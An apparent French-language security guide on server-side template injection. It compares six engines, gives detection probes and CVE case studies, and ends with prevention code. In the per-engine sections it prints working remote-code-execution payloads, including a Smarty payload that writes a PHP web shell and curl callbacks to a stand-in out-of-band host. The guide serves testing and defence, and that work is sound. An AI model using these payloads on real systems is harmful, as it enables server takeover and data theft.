Vue d'ensemble SSTI — Comparaison des moteurs & Détection

SSTI vs Injection de template côté client#

L'injection de template côté serveur (SSTI) appartient à la famille d'injection de code CWE-94 appliquée spécifiquement aux moteurs de templates côté serveur. Le moteur évalue les expressions contrôlées par l'attaquant sur le serveur et retourne la sortie rendue dans la réponse HTTP. Le diagnostic clé : soumettre {{7*7}} — si 49 apparaît dans le corps de la réponse HTTP brute (confirmé avec curl -s), l'évaluation s'est produite côté serveur et la vulnérabilité est SSTI. Si 49 n'apparaît qu'après l'exécution JavaScript par le navigateur, c'est de l'injection de template côté client (CSTI), une classe de vulnérabilité distincte avec une remédiation différente.

La SSTI est classée sous OWASP A03:2021 (Injection) et CWE-1336 (Neutralisation incorrecte des éléments spéciaux utilisés dans un moteur de template) pour l'injection au niveau moteur, ou CWE-94 (Contrôle incorrect de la génération de code) pour le modèle d'injection de code plus large. Le plafond d'impact est l'exécution de code à distance sous les privilèges du processus applicatif — équivalent à un accès direct au serveur. Les scores CVSS varient de 8.5 (authentifié, contexte limité) à 10.0 (non authentifié, accessible par réseau, comme dans CVE-2023-22527 et CVE-2025-32432).

La cause racine est universelle dans tous les moteurs : l'entrée utilisateur entre dans le pipeline de templates comme code source plutôt que comme variable de données.

# Flask/Jinja2 — modèle de cause racine (universel dans tous les moteurs)
 
# VULNÉRABLE — user_input est la source du template
render_template_string(f"Bonjour {user_input} !")
 
# SÉCURISÉ — user_input est une variable de rendu
render_template("salutation.html", nom=user_input)

Ce modèle se répète de façon identique en PHP/Twig, Java/Freemarker, Java/Velocity, PHP/Smarty et Java/Pebble. Le moteur ne peut pas distinguer la syntaxe rédigée par le développeur de la syntaxe injectée par l'attaquant — il évalue les deux.

Matrice de comparaison des moteurs#

Six moteurs de templates dominent le paysage des menaces SSTI. Chacun possède une syntaxe de délimiteurs distincte, un modèle de sandbox et un chemin RCE principal :

Observations clés de cette matrice :

• Twig est le seul moteur où {{7*'7'}} retourne un résultat différent de Jinja2 — cette sonde unique les sépare définitivement.
• Freemarker et Velocity utilisent des familles de délimiteurs différentes — ${...} vs {{...}} — rendant l'identification du moteur simple à partir du seul délimiteur avant toute évaluation.
• Tous les six moteurs ont des sandboxes optionnels non activés par défaut dans la plupart des configurations de frameworks.
• Tous les six moteurs ont des chaînes d'évasion de sandbox publiées — le sandbox est un mécanisme de retardement, pas une prévention.

Sonde polyglotte et reconnaissance du moteur#

Le polyglotte universel de Korchagin déclenche une erreur de syntaxe dans tous les moteurs simultanément :

${{<%[%'"}}%\

Soumettre cette chaîne comme paramètre contrôlé par l'utilisateur. Le message d'erreur de la réponse identifie le moteur avec une grande précision :

Cette technique — nommée « Successful Errors » par Vladislav Korchagin — a été classée comme la recherche en hacking web la plus impactante de 2025 par PortSwigger. Elle est intégrée dans SSTImap v1.3.0, le profil d'analyse extensive SSTI de Burp Suite Pro 2025 et la détection par fingerprinting de moteur de BreachVex.

Sondes différentielles arithmétiques#

Après la reconnaissance par polyglotte, confirmer avec des sondes arithmétiques spécifiques à la famille de moteurs identifiée :

# Moteurs à double accolade (Jinja2, Twig, Pebble, Tornado)
{{7*7}}         → 49 (les quatre moteurs)
{{7*'7'}}       → 49 (Jinja2, Pebble) vs 7777777 (Twig)
 
# Moteurs à dollar-accolade (Freemarker, Velocity, SpEL, EL)
${7*7}          → 49 (Freemarker, SpEL, EL)
$math.add(2,2)  → 4 (Velocity — utilise Velocity Math Tool)
 
# Style ERB (Ruby ERB, Slim, Crystal)
<%= 7*7 %>      → 49
 
# Confirmer avec deux sondes supplémentaires pour exclure la mise en cache
{{8*9}}         → 72
{{13*13}}       → 169

Reproduire trois résultats arithmétiques différents avant de conclure à l'exécution du template. Une correspondance unique peut être fortuite ; trois résultats arithmétiques indépendants ne le sont pas.

Payloads RCE par moteur#

Jinja2 (Python)#

# Étape 1 — Confirmer le moteur
{{7*'7'}}  # → 49 (Jinja2), pas 7777777 (Twig)
 
# Étape 2 — Divulgation d'informations
{{ config.items() }}           # Config Flask : SECRET_KEY, DATABASE_URL, etc.
 
# Étape 3 — RCE via le builtin cycler (contourne les filtres __class__/__mro__)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
 
# Alternative : builtin lipsum (accès par dict, contourne les filtres de notation par point)
{{ lipsum.__globals__['os'].popen('id').read() }}
 
# Alternative : traversée MRO (verbeux, index N dépendant de la version Python)
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}

Pertinence CVE : La SSTI Jinja2 au niveau applicatif est le plus souvent observée dans les applications Flask utilisant mal render_template_string(). CVE-2024-56201 (Jinja2 3.1.4, CVSS 7.8, traversée de chemin via FileSystemLoader) démontre que la surface d'attaque s'étend au-delà du mauvais usage de render_template_string.

Twig (PHP)#

# Étape 1 — Confirmer Twig (pas Jinja2)
{{7*'7'}}  # → 7777777 (répétition de chaîne Twig)
 
# Étape 2 — Divulgation d'informations
{{_self.env}}                  # Dump de l'objet environnement Twig
 
# Étape 3 — RCE via le global _self et registerUndefinedFilterCallback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
 
# Alternative : filtre sort PHP avec callable
{{"id"|filter("system")}}     # Twig 3.x+ sans SecurityPolicy appliquée

Pertinence CVE : CVE-2025-32432 (Craft CMS Twig, CVSS 10.0, CISA KEV 2025-04-29) — injection non authentifiée via l'aperçu de transformation d'actifs. CVE-2022-23614 (évasion de sandbox Twig 2.x/3.x via callback du filtre sort, CVSS 8.8).

Freemarker (Java)#

// Étape 1 — Confirmer Freemarker
${7*7}           // → 49
 
// Étape 2 — Divulgation d'informations
${.now}          // Horodatage serveur
${.version}      // Version Freemarker
 
// Étape 3 — RCE via le builtin Execute
${"freemarker.template.utility.Execute"?new()("id")}
 
// Bloqué par SAFER_RESOLVER — utiliser ClassInfo si disponible
${product.class.forName("java.lang.Runtime").getMethod("exec","".class.forName("java.lang.String")).invoke(product.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

Pertinence CVE : CVE-2022-22963 (injection SpEL Spring Cloud Function, CVSS 9.8, CISA KEV) exploite le même modèle d'injection de langage d'expression Java que Freemarker dans les applications Spring.

Velocity (Java)#

// Étape 1 — Confirmer Velocity
#set($x = 7)$x   // → 7
 
// Étape 2 — Divulgation d'informations
$request.getServletContext().getRealPath("/")
 
// Étape 3 — RCE via ClassTool (bibliothèque Velocity Tools)
#set($rt = $Class.inspect("java.lang.Runtime").type)
#set($proc = $rt.getRuntime().exec("id"))
#set($inputStream = $proc.getInputStream())
// Lire le flux...

Pertinence CVE : CVE-2023-22527 (Atlassian Confluence Velocity, CVSS 10.0, CISA KEV 2024-01-23) — le CVE SSTI le plus exploité de 2024-2026. Utilisé activement par des groupes de rançongiciels.

Smarty (PHP)#

// Étape 1 — Confirmer Smarty
{$smarty.version}       // → chaîne de version Smarty
 
// Étape 2 — Divulgation d'informations
{$smarty.server.SERVER_ADDR}
 
// Étape 3 — RCE (Smarty < 3.1.39 — tag {php} activé par défaut)
{php}system('id');{/php}
 
// Smarty >= 3.1.39 — {php} désactivé, utiliser l'injection Write_File
{Smarty_Internal_Write_File::writeFile($SCRIPT_FILENAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Pertinence CVE : CVE-2021-26120 (évasion de sandbox Smarty via la fonction math, CVSS 9.8). CVE-2021-29454 (bypass de sandbox string_tags Smarty, CVSS 8.8).

Pebble (Java)#

// Étape 1 — Confirmer Pebble
{{ 7*7 }}        // → 49
 
// Étape 3 — RCE via ClassLoader (quand le gestionnaire de sécurité Java est absent)
{{ "".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id").text }}

Pebble est le plus souvent trouvé dans les applications Spring Boot utilisant Pebble Spring Boot Starter. Son sandbox repose sur le gestionnaire de sécurité Java, qui est déprécié depuis Java 17 et supprimé dans Java 21.

SSTI aveugle — Détection hors-bande#

Quand la sortie du template est supprimée (SSTI aveugle), utiliser des rappels hors-bande pour confirmer l'exécution :

# Jinja2 — rappel DNS via os.popen
{{ cycler.__init__.__globals__.os.popen('curl http://TOKEN.oast.pro').read() }}
 
# Freemarker — rappel DNS via Execute
${"freemarker.template.utility.Execute"?new()("curl http://TOKEN.oast.pro")}
 
# Velocity — rappel DNS via Runtime.exec
#set($rt = $Class.inspect("java.lang.Runtime").type)
#set($p = $rt.getRuntime().exec(["curl","http://TOKEN.oast.pro"]))
 
# Twig — rappel DNS via rappel PHP system
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://TOKEN.oast.pro")}}

Remplacer TOKEN.oast.pro par un sous-domaine Interactsh ou Burp Collaborator. Un hit DNS ou HTTP confirme l'exécution de code sans nécessiter de sortie visible. Corréler par jeton unique par sonde pour distinguer les sondes simultanées.

Exemples concrets#

CVE-2023-22527 — Atlassian Confluence Velocity (CVSS 10.0, CISA KEV 2024-01-23)

Le template Velocity text-inline.vm acceptait un paramètre label contrôlé par l'utilisateur évalué comme OGNL dans le contexte d'action Struts2. Un attaquant non authentifié envoyant un POST vers /template/aui/text-inline.vm avec des expressions OGNL invoquait Runtime.exec() sans aucune identifiant. Ajouté au CISA KEV sept jours après la divulgation. Des groupes de rançongiciels ont confirmé une exploitation active jusqu'en 2025-2026 ; plus de 11 000 instances Confluence exposées sur Internet étaient vulnérables le jour de la divulgation. Corrigé dans Confluence 8.5.4+.

CVE-2025-32432 — Craft CMS Twig (CVSS 10.0, CISA KEV 2025-04-29)

Craft CMS avant 3.9.14 / 4.13.2 / 5.6.17 acceptait des expressions Twig comme paramètre transform dans le point de terminaison d'aperçu d'actifs. Le moteur rendait l'entrée sans aucun sandbox SecurityPolicy : {{ ['id']|filter('system')|join }} exécutait des commandes OS en tant que processus du serveur web. Ajouté au CISA KEV dans les 24 heures suivant la divulgation publique, avec exploitation active confirmée le même jour.

CVE-2025-41253 — Spring Cloud Gateway SpEL (CVSS 8.6)

Spring Cloud Gateway avec le point de terminaison actuator exposé permettait l'injection SpEL via l'API HTTP de définition de routes. Des attaquants ayant accès réseau à l'actuator (souvent sur des réseaux internes sans authentification) pouvaient injecter des références @systemProperties et @systemEnvironment pour exfiltrer des identifiants de base de données, des clés de signature JWT et des jetons API depuis l'environnement JVM en cours d'exécution.

CVE-2020-13936 — Évasion de sandbox Velocity (CVSS 9.8)

Apache Velocity Engine avant 2.3 permettait l'évasion de sandbox via les références $class et $context pour accéder aux API de réflexion Java. Les templates Velocity avec SecureUberspector désactivé pouvaient invoquer java.lang.Runtime.exec() via la traversée ClassInfo. Ce CVE a établi que le SecureUberspector Velocity est une configuration recommandée, non par défaut — un modèle de mauvaise configuration systémique encore présent dans les déploiements Spring/Struts hérités.

Détection#

Protocole de test manuel#

1. Identifier toutes les entrées contrôlées par l'utilisateur reflétées dans la sortie rendue : paramètres d'URL, champs du corps POST, en-têtes HTTP, noms d'affichage de profil, aperçus de templates d'e-mail, éditeurs WYSIWYG de CMS, noms de rapports, sujets de notifications.

2. Soumettre le polyglotte universel de Korchagin dans chaque paramètre :

   ${{<%[%'"}}%\

   Copier

   Une exception ou une sortie malformée (plutôt que la chaîne littérale renvoyée) indique un contexte de template. Croiser la signature d'erreur avec le tableau des moteurs ci-dessus.

3. Soumettre des sondes arithmétiques spécifiques aux délimiteurs :

   {{7*7}}     → 49 (Jinja2, Twig, Pebble, Tornado)
   ${7*7}      → 49 (Freemarker, SpEL, EL)

   Copier

4. Appliquer le différentiel Twig vs Jinja2 :

   {{7*'7'}}   → 49 = Jinja2/Pebble
                → 7777777 = Twig

   Copier

5. Confirmer avec deux sondes arithmétiques supplémentaires : {{8*9}} → 72, {{13*13}} → 169.

6. Tester les contextes aveugles via rappel OOB ou délai temporel.

Analyse automatisée#

# SSTImap v1.3.0 — support 44 moteurs, error-based Korchagin
sstimap -u "http://cible.com/salutation?nom=*"
sstimap -u "http://cible.com/rendu" -d "template=*" -X POST
 
# tplmap — outil legacy stable
tplmap.py -u "http://cible.com/salutation?nom=*"
 
# Nuclei — templates spécifiques aux CVE
nuclei -t cves/ -tags ssti -u http://cible.com
 
# Semgrep SAST
semgrep --config "p/flask" .         # Flask/Jinja2
semgrep --config "p/java" .          # Freemarker/Velocity/Pebble

BreachVex confirme la SSTI via plusieurs techniques complémentaires : sondage par évaluation mathématique, fingerprinting du moteur par polyglotte Korchagin, dumps de propriétés serveur reproduits plusieurs fois, et callbacks DNS hors-bande avec corrélation par sonde — chaque finding étant appuyé par une preuve d'exécution.

Prévention#

La défense est identique dans tous les six moteurs : passer l'entrée utilisateur comme variable de rendu, jamais comme source de template.

# Flask/Jinja2
return render_template("page.html", nom=entree_utilisateur)   # sécurisé
# JAMAIS : render_template_string(f"Bonjour {entree_utilisateur} !")

// Twig
echo $twig->render('page.html.twig', ['nom' => $entreeUtilisateur]);  // sécurisé
// JAMAIS : $twig->createTemplate($_POST['template'])

// Freemarker
Template t = cfg.getTemplate("page.ftl");              // pré-compilé
t.process(Map.of("nom", entreeUtilisateur), out);      // sécurisé
// JAMAIS : new Template("user", new StringReader(entreeUtilisateur), cfg)

// Velocity
Template t = ve.getTemplate("page.vm");                // pré-compilé
context.put("nom", entreeUtilisateur);                 // variable de données sécurisée
t.merge(context, writer);
// JAMAIS : Velocity.evaluate(context, writer, "user", entreeUtilisateur)

Si les templates définis par l'utilisateur sont une exigence produit, appliquer la configuration sandbox la plus stricte disponible et auditer par rapport aux chaînes de bypass publiées pour la version spécifique du moteur. Surveiller les avis de sécurité du moteur et NVD en continu. Consulter les pages spécifiques à chaque moteur pour les configurations de durcissement sandbox détaillées.

Ressources#

• PortSwigger — Hub de recherche SSTI
• Vladislav Korchagin — Successful Errors (PortSwigger Top 10 2025, Rang #1)
• SSTImap v1.3.0 — Scanner SSTI 44 moteurs
• OWASP — Aide-mémoire de prévention SSTI
• CWE-1336 — Neutralisation incorrecte dans les moteurs de templates
• NVD — CVE-2023-22527
• NVD — CVE-2025-32432